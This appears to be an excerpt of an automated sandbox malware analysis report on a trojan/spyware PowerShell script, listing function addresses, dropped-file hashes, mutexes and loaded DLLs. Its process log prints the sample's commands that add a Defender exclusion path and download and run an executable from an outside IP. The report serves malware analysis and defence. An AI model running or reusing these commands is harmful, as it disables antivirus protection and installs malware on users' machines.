Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A69FE20	10_2_00007FF75A69FE20
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A712E3C	10_2_00007FF75A712E3C
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6D6350	10_2_00007FF75A6D6350
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F8330	10_2_00007FF75A6F8330
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A0450	10_2_00007FF75A6A0450
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A70918C	10_2_00007FF75A70918C
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F5240	10_2_00007FF75A6F5240
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6B5310	10_2_00007FF75A6B5310
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A69F730	10_2_00007FF75A69F730
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F6860	10_2_00007FF75A6F6860
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A72B5B0	10_2_00007FF75A72B5B0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6AD570	10_2_00007FF75A6AD570
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6AE610	10_2_00007FF75A6AE610
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6FC5CB	10_2_00007FF75A6FC5CB
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A730658	10_2_00007FF75A730658
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F76A0	10_2_00007FF75A6F76A0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71BB90	10_2_00007FF75A71BB90
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A700D14	10_2_00007FF75A700D14
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A726C30	10_2_00007FF75A726C30
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6C7CEB	10_2_00007FF75A6C7CEB
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A725C50	10_2_00007FF75A725C50
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A70A924	10_2_00007FF75A70A924
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A0A80	10_2_00007FF75A6A0A80
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A3A30	10_2_00007FF75A6A3A30
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E8B00	10_2_00007FF75A6E8B00
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6C1AF0	10_2_00007FF75A6C1AF0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A716A68	10_2_00007FF75A716A68
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6D0AC0	10_2_00007FF75A6D0AC0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E5AB0	10_2_00007FF75A6E5AB0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6CBAB0	10_2_00007FF75A6CBAB0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A72FFBC	10_2_00007FF75A72FFBC
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6ABF40	10_2_00007FF75A6ABF40
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A7130B8	10_2_00007FF75A7130B8
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A70F0D8	10_2_00007FF75A70F0D8
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6CC0F0	10_2_00007FF75A6CC0F0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6770E0	10_2_00007FF75A6770E0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A725070	10_2_00007FF75A725070
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E4D40	10_2_00007FF75A6E4D40
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A708D50	10_2_00007FF75A708D50
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6AADD0	10_2_00007FF75A6AADD0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6CBDD0	10_2_00007FF75A6CBDD0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A675DB0	10_2_00007FF75A675DB0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F0E90	10_2_00007FF75A6F0E90
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A0E80	10_2_00007FF75A6A0E80
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A7E70	10_2_00007FF75A6A7E70
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A724E30	10_2_00007FF75A724E30
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E5EF0	10_2_00007FF75A6E5EF0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A705394	10_2_00007FF75A705394
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71A3C8	10_2_00007FF75A71A3C8
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6983D0	10_2_00007FF75A6983D0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E63A6	10_2_00007FF75A6E63A6
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6CB480	10_2_00007FF75A6CB480
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A7114E4	10_2_00007FF75A7114E4
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6FA430	10_2_00007FF75A6FA430
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6CC420	10_2_00007FF75A6CC420
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6EB420	10_2_00007FF75A6EB420
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A696510	10_2_00007FF75A696510
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71A44F	10_2_00007FF75A71A44F
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A676180	10_2_00007FF75A676180
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A706164	10_2_00007FF75A706164
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A7171D8	10_2_00007FF75A7171D8
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A703150	10_2_00007FF75A703150
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71C128	10_2_00007FF75A71C128
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A727160	10_2_00007FF75A727160
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A701220	10_2_00007FF75A701220
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6EE2F0	10_2_00007FF75A6EE2F0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E02C0	10_2_00007FF75A6E02C0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6CB780	10_2_00007FF75A6CB780
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6FA780	10_2_00007FF75A6FA780
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6D2750	10_2_00007FF75A6D2750
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A70F7E6	10_2_00007FF75A70F7E6
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6C4720	10_2_00007FF75A6C4720
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A70579C	10_2_00007FF75A70579C
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6EC8E0	10_2_00007FF75A6EC8E0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A98CD	10_2_00007FF75A6A98CD
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6F6540	10_2_00007FF75A6F6540
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A695520	10_2_00007FF75A695520
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A676610	10_2_00007FF75A676610
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A705598	10_2_00007FF75A705598
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A7136A8	10_2_00007FF75A7136A8
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A70666C	10_2_00007FF75A70666C
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A7146E4	10_2_00007FF75A7146E4
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A718674	10_2_00007FF75A718674

Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\Launcher.exe A4F53964CDDDCCCBD1B46DA4D3F7F5F4292B5DD11C833D3DB3A1E7DEF36DA69A
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\iviewers.dll AA6B0863022BDA1E0C263A75AE2896FE473D3BF57A76EFC258B3AFEC8C157564
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\xdnfl52f.civ.exe 1420F60F053C3EA5605239EE431E5F487245108B1C01BE75D16B5246156FA178

Source: C:\Windows\Temp\Launcher.exe	Code function: String function: 0067F3E2 appears 34 times
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: String function: 00007FF75A6B86B0 appears 57 times
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: String function: 00007FF75A708254 appears 34 times
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: String function: 00007FF75A6A6940 appears 41 times
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: String function: 00007FF75A69E1D0 appears 33 times
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: String function: 00007FF75A69BA80 appears 32 times

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@13/15@1/3

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6FB9B0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,

10_2_00007FF75A6FB9B0

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6AE610 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

10_2_00007FF75A6AE610

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0067642D CoCreateInstance,GetUserDefaultLCID,StringFromGUID2,wsprintfW,RegOpenKeyW,RegEnumKeyW,RegOpenKeyW,RegQueryValueExW,wsprintfW,RegCloseKey,RegCloseKey,

3_2_0067642D

Source: C:\Windows\Temp\Launcher.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Launcher.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7272:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1128:120:WilError_03
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mmm-A33C734061CA11EE8C18806E6F6E69637D5C9A18
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nhbgshs.0ep.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: script.ps1

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\Launcher.exe "C:\Windows\Temp\Launcher.exe"
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\Temp\xdnfl52f.civ.exe "C:\Windows\Temp\xdnfl52f.civ.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\Launcher.exe "C:\Windows\Temp\Launcher.exe"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\Temp\xdnfl52f.civ.exe "C:\Windows\Temp\xdnfl52f.civ.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: aclui.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
